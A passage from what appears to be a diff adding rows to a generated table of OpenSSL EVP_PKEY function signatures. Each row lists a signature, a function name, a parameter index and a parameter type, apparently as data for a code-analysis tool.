*,ASN1_OBJECT *) | | EVP_PKEY_CTX_set0_dh_kdf_oid | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,ASN1_OBJECT *) | | EVP_PKEY_CTX_set0_dh_kdf_oid | 1 | ASN1_OBJECT * | +| (EVP_PKEY_CTX *,ASN1_OBJECT **) | | EVP_PKEY_CTX_get0_dh_kdf_oid | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,ASN1_OBJECT **) | | EVP_PKEY_CTX_get0_dh_kdf_oid | 1 | ASN1_OBJECT ** | +| (EVP_PKEY_CTX *,BIGNUM *) | | EVP_PKEY_CTX_set1_rsa_keygen_pubexp | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,BIGNUM *) | | EVP_PKEY_CTX_set1_rsa_keygen_pubexp | 1 | BIGNUM * | +| (EVP_PKEY_CTX *,BIGNUM *) | | EVP_PKEY_CTX_set_rsa_keygen_pubexp | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,BIGNUM *) | | EVP_PKEY_CTX_set_rsa_keygen_pubexp | 1 | BIGNUM * | +| (EVP_PKEY_CTX *,EVP_PKEY *) | | EVP_PKEY_derive_set_peer | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY *) | | EVP_PKEY_derive_set_peer | 1 | EVP_PKEY * | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_generate | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_generate | 1 | EVP_PKEY ** | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_keygen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_keygen | 1 | EVP_PKEY ** | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_paramgen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_paramgen | 1 | EVP_PKEY ** | +| (EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[]) | | EVP_PKEY_fromdata | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[]) | | EVP_PKEY_fromdata | 1 | EVP_PKEY ** | +| (EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[]) | | EVP_PKEY_fromdata | 2 | int | +| (EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[]) | | EVP_PKEY_fromdata | 3 | OSSL_PARAM[] | +| (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 1 | EVP_PKEY * | +| (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | int | +| (EVP_PKEY_CTX *,EVP_PKEY_gen_cb *) | | EVP_PKEY_CTX_set_cb | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY_gen_cb *) | | EVP_PKEY_CTX_set_cb | 1 | EVP_PKEY_gen_cb * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | EVP_PKEY_CTX_get_params | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | EVP_PKEY_CTX_get_params | 1 | OSSL_PARAM * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_get_params_strict | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_get_params_strict | 1 | OSSL_PARAM * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_get_params_to_ctrl | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_get_params_to_ctrl | 1 | OSSL_PARAM * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_set_params_strict | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_set_params_strict | 1 | OSSL_PARAM * | +| (EVP_PKEY_CTX *,X509_ALGOR **) | | EVP_PKEY_CTX_get_algor | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,X509_ALGOR **) | | EVP_PKEY_CTX_get_algor | 1 | X509_ALGOR ** | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_dh_kdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_dh_kdf_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_dsa_paramgen_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_dsa_paramgen_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_ecdh_kdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_ecdh_kdf_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_hkdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_hkdf_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_mgf1_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_mgf1_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_oaep_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_oaep_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_pss_keygen_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_pss_keygen_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_pss_keygen_mgf1_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_pss_keygen_mgf1_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_signature_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_signature_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_tls1_prf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_tls1_prf_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_dh_kdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_dh_kdf_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_ecdh_kdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_ecdh_kdf_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_rsa_mgf1_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_rsa_mgf1_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_rsa_oaep_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_rsa_oaep_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_signature_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_signature_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const OSSL_PARAM *) | | EVP_PKEY_CTX_set_params | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const OSSL_PARAM *) | | EVP_PKEY_CTX_set_params | 1 | const OSSL_PARAM * | +| (EVP_PKEY_CTX *,const OSSL_PARAM *) | | evp_pkey_ctx_set_params_to_ctrl | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const OSSL_PARAM *) | | evp_pkey_ctx_set_params_to_ctrl | 1 | const OSSL_PARAM * | +| (EVP_PKEY_CTX *,const char *) | | app_paramgen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | const char * | +| (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | const char * | +| (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 1 | const char * | +| (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 2 | const char * | +| (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 1 | const char * | +| (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | int | +| (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 1 | const char * | +| (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 2 | int | +| (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 3 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | int | +| (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 1 | const void * | +| (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | int | +| (EVP_PKEY_CTX *,int *) | | EVP_PKEY_CTX_get_rsa_padding | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int *) | | EVP_PKEY_CTX_get_rsa_padding | 1 | int * | +| (EVP_PKEY_CTX *,int *) | | EVP_PKEY_CTX_get_rsa_pss_saltlen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int *) | | EVP_PKEY_CTX_get_rsa_pss_saltlen | 1 | int * | +| (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 1 | int * | +| (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 1 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 2 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 3 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 4 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 5 | void * | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 1 | int | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 2 | int | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 3 | int | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 4 | uint64_t | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 1 | int | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 2 | int | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 3 | int | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 4 | void * | +| (EVP_PKEY_CTX *,size_t *) | | EVP_PKEY_CTX_get1_id_len | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,size_t *) | | EVP_PKEY_CTX_get1_id_len | 1 | size_t * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_N | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_N | 1 | uint64_t | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_maxmem_bytes | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_maxmem_bytes | 1 | uint64_t | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_p | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_p | 1 | uint64_t | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_r | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_r | 1 | uint64_t | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 1 | unsigned char ** | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 3 | size_t | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 4 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 5 | size_t | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_derive | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_derive | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_derive | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_sign_message_final | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_sign_message_final | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_sign_message_final | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 3 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 4 | size_t | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 3 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 4 | size_t | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 3 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 4 | size_t | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 3 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 4 | size_t | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_get1_id | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_get1_id | 1 | void * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_app_data | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_app_data | 1 | void * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_data | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_data | 1 | void * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_check | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_check | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_cleanup | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_cleanup | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_copy | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_copy | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digest_custom | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digest_custom | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digestsign | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digestsign | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digestverify | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digestverify | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_init | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_init | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_param_check | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_param_check | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_public_check | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_public_check | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_ctrl | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_ctrl | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_ctrl | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_decrypt | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_decrypt | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_decrypt | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_derive | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_derive | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_derive | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_encrypt | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_encrypt | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_encrypt | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_keygen | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_keygen | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_keygen | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_paramgen | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_paramgen | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_paramgen | 2 | ..(*)(..) | 